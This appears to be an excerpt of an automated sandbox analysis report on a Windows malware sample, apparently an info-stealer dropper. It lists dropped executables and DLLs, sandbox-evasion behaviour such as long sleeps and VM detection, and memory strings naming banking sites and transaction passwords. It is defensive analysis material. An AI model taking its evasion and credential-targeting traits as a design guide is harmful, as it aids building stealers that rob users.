Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\lumma2806[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-T7UO2.tmp\_isetup\_shfoldr.dll Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\AAAAKJKJEB.exe Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-18MLT.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-RPUL3.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\openh264.dll (copy) Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Dropped PE file which has not been started: C:\ProgramData\FCBFBGDBKJ.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\libeay32.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-TJFT6.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\libcurl.dll (copy) Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\avdevice-58.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\Qt5Xml.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-T7UO2.tmp\_isetup\_iscrypt.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-VCOE9.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-07TP8.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\unins000.exe (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\QtAVWidgets1.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\msvcp120.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-T7UO2.tmp\_isetup\_RegDLL.tmp Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\msvcp140_1.dll (copy) Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\Qt5WinExtras.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\Qt5Svg.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\mousehelper.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-O6M3F.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\Qt5OpenGL.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-LRHSQ.tmp Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\sqlt[1].dll Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\amadka[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-T7UO2.tmp\_isetup\_setup64.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-9A6KK.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-B37O4.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-NPF14.tmp Jump to dropped file
Found evasive API chain (date check)
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Evasive API call chain: GetSystemTime,DecisionNodes
Found large amount of non-executed APIs
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe API coverage: 0.8 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe TID: 2436 Thread sleep count: 73 > 30 Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe TID: 5884 Thread sleep count: 65 > 30 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe TID: 2244 Thread sleep count: 31 > 30 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe TID: 2244 Thread sleep count: 32 > 30 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe TID: 3884 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe TID: 1396 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5820 Thread sleep time: -12912720851596678s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3892 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3804 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6280 Thread sleep time: -30000s >= -30000s
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\svchost.exe File opened: PhysicalDrive0
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\7zS188D.tmp\Install.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\7zS1BC9.tmp\Install.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Code function: 8_2_00409A14 GetSystemInfo,VirtualQuery,VirtualProtect,VirtualProtect,VirtualQuery, 8_2_00409A14
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696487552
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: 1719859269.0326595_setup.exe, 00000000.00000003.2231437346.0000021664602000.00000004.00000020.00020000.00000000.sdmp, 1719859269.0326595_setup.exe, 00000000.00000003.2242900895.0000021665139000.00000004.00000020.00020000.00000000.sdmp, yHP2Z5SFUIZjI8pAKB_H3QUP.exe, 0000000C.00000000.2313037451.0000000000B82000.00000002.00000001.01000000.0000000C.sdmp Binary or memory string: JUxvupfc339huwQeMul
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: vmware
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696487552|UE
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: 4MZEKMRe7m6bc8qivCccLsq8.exe, 0000000B.00000002.2446122918.0000000003AC1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: j7CqemUR9n
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Hyper-V (guest)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000D6C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: ~VirtualMachineTypes
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000D6C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: ]DLL_Loader_VirtualMachine
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000D6C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
